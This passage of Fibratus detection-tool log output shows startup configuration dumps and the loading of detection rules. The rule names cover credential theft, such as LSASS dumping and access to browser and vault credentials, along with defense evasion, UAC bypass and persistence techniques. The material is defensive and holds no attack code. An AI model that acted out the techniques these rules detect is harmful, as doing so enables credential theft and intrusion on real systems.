true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T16:03:33+01:00 level=info msg=bootstrapping with pid 4092. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T16:03:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 enabled=>false content-type=>text/html to=>[] use-template=>true] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-image=>true stack-enrichment=>true enable-mem=>false enable-registry=>true enable-thread=>true max-buffers=>36 enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true min-buffers=>16 flush-interval=>1s enable-vamap=>true enable-threadpool=>false enable-handle=>false enable-net=>true enable-audit-api=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true formatter=>text level=>info max-backups=>15 max-size=>100] + output ......................... [ elasticsearch=>[ healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s healthcheck=>true flush-period=>1s timeout=>5s index-name=>fibratus sniff=>false gzip-compression=>false trace-log=>false bulk-workers=>1 template-name=>fibratus enabled=>false] eventlog=>[ enabled=>false level=>info] http=>[ enable-gzip=>false endpoints=>[] timeout=>5s serializer=>json method=>POST tls-insecure-skip-verify=>false enabled=>false] amqp=>[ vhost=>/ exchange=>fibratus delivery-mode=>transient routing-key=>fibratus durable=>false exchange-type=>topic url=>amqp://localhost:5672 timeout=>5s enabled=>false passive=>false tls-insecure-skip-verify=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s fastscan=>true excluded-procs=>[] enabled=>false skip-registry=>false skip-files=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T16:03:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T16:03:35+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T16:04:39+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T16:04:39+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T16:04:40+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T16:04:43+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:04:43+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T16:04:43+01:00 level=info msg=bootstrapping with pid 4308. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T16:04:43+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ enabled=>false to=>[] port=>25 use-template=>true content-type=>text/html] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-handle=>false enable-image=>true enable-audit-api=>true enable-net=>true flush-interval=>1s enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false enable-threadpool=>false enable-fileio=>true min-buffers=>16 enable-registry=>true enable-thread=>true stack-enrichment=>true buffer-size=>512 max-buffers=>36 enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-size=>100 max-age=>0 log-stdout=>true formatter=>text level=>info] + output ......................... [ eventlog=>[ enabled=>false level=>info] elasticsearch=>[ index-name=>fibratus enabled=>false healthcheck-interval=>10s sniff=>false gzip-compression=>false healthcheck=>true trace-log=>false bulk-workers=>1 template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s timeout=>5s flush-period=>1s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] http=>[ timeout=>5s enabled=>false endpoints=>[] enable-gzip=>false method=>POST tls-insecure-skip-verify=>false serializer=>json] amqp=>[ routing-key=>fibratus vhost=>/ passive=>false exchange=>fibratus enabled=>false url=>amqp://localhost:5672 delivery-mode=>transient timeout=>5s exchange-type=>topic durable=>false tls-insecure-skip-verify=>false]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] enabled=>false skip-registry=>false skip-mmaps=>false fastscan=>true scan-timeout=>10s skip-files=>false skip-allocs=>false excluded-files=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T16:04:44+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T16:04:46+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T16:05:59+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T16:05:59+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T16:05:59+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T16:06:27+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from 